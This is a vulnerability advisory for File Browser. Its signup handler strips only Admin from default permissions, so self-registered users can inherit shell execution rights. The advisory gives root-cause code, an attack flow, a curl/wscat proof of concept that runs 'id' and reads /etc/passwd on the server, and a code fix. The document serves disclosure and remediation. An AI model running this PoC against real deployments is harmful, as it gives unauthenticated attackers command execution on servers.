File Browser's Signup Grants Execution Permissions When Default Permissions Includes Execution

Summary

The signupHandler in File Browser applies default user permissions via d.settings.Defaults.Apply(user), then strips only Admin (commit a63573b). The Execute permission and Commands list from the default user template are not stripped. When an administrator has enabled signup, server-side execution, and set Execute=true in the default user template, any unauthenticated user who self-registers inherits shell execution capabilities and can run arbitrary commands on the server.

Details

Root Cause

signupHandler at http/auth.go:167–172 applies all default permissions before stripping only Admin:

// http/auth.go
d.settings.Defaults.Apply(user)   // copies ALL permissions from defaults

// Only Admin is stripped — Execute, Commands are still inherited
user.Perm.Admin = false
// user.Perm.Execute remains true if set in defaults
// user.Commands remains populated if set in defaults

settings/defaults.go:31–33 confirms Apply copies the full permissions struct including Execute and Commands:

func (d *UserDefaults) Apply(u *users.User) {
    u.Perm = d.Perm          // includes Execute
    u.Commands = d.Commands  // includes allowed shell commands
    // ...
}

The commandsHandler at http/commands.go:63–66 checks both the server-wide EnableExec flag and d.user.Perm.Execute:

if !d.server.EnableExec || !d.user.Perm.Execute {
    // writes "Command not allowed." and returns
}

The withUser middleware reads d.user from the database at request time (http/auth.go:103), so the persisted Execute=true and Commands values from signup are authoritative. The command allowlist check at commands.go:80 passes because the user's Commands list contains the inherited default commands:

if !slices.Contains(d.user.Commands, name) {
    // writes "Command not allowed." and returns
}

Execution Flow

1. Admin configures: Signup=true, EnableExec=true, Defaults.Perm.Execute=true, Defaults.Commands=["bash"]
2. Unauthenticated attacker POSTs to /api/signup → new user created with Execute=true, Commands=["bash"]
3. Attacker logs in → receives JWT with valid user ID
4. Attacker opens WebSocket to /api/command/ → withUser fetches user from DB, Execute=true passes check
5. Attacker sends bash over WebSocket → exec.Command("bash") is invoked → arbitrary shell execution

This is a direct consequence of the incomplete fix in commit a63573b (CVE-2026-32760 / GHSA-5gg9-5g7w-hm73), which applied the same rationale ("signup users should not inherit privileged defaults") only to Admin, not to Execute and Commands.

PoC

TARGET="http://localhost:8080"

# Step 1: Self-register (no authentication required)
curl -s -X POST "$TARGET/api/signup" \
  -H "Content-Type: application/json" \
  -d '{"username":"attacker","password":"AttackerP@ss1!"}'
# Returns: 200 OK

# Step 2: Log in and capture token
TOKEN=$(curl -s -X POST "$TARGET/api/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"attacker","password":"AttackerP@ss1!"}' | tr -d '"')

# Step 3: Inspect inherited permissions (decode JWT payload)
echo "$TOKEN" | cut -d'.' -f2 | base64 -d 2>/dev/null | python3 -m json.tool
# Expected output (if defaults have Execute=true, Commands=["bash"]):
# {
#   "user": {
#     "perm": { "execute": true, ... },
#     "commands": ["bash"],
#     ...
#   }
# }

# Step 4: Execute shell command via WebSocket (requires wscat: npm install -g wscat)
echo '{"command":"bash -c \"id && hostname && cat /etc/passwd | head -3\""}' | \
  wscat --header "X-Auth: $TOKEN" \
        --connect "$TARGET/api/command/" \
        --wait 3
# Expected: uid=... hostname output followed by /etc/passwd lines

Impact

On any deployment where an administrator has:

1. Enabled public self-registration (signup = true)
2. Enabled server-side command execution (enableExec = true)
3. Set Execute = true in the default user template
4. Populated Commands with one or more shell commands

An unauthenticated attacker can self-register and immediately gain the ability to run arbitrary shell commands on the server with the privileges of the File Browser process. All files accessible to the process, environment variables (including secrets), and network interfaces are exposed. This is a complete server compromise for processes running as root, and a significant lateral movement vector otherwise.

The original Admin fix (GHSA-5gg9-5g7w-hm73) demonstrates that the project explicitly recognizes that self-registered users should not inherit privileged defaults. The Execute + Commands omission is an incomplete application of that principle.

Recommended Fix

Extend the existing Admin stripping in http/auth.go to also clear Execute and Commands for self-registered users:

// http/auth.go — after d.settings.Defaults.Apply(user)

// Users signed up via the signup handler should never become admins, even
// if that is the default permission.
user.Perm.Admin = false

// Self-registered users should not inherit execution capabilities from
// default settings, regardless of what the administrator has configured
// as the default. Execution rights must be explicitly granted by an admin.
user.Perm.Execute = false
user.Commands = []string{}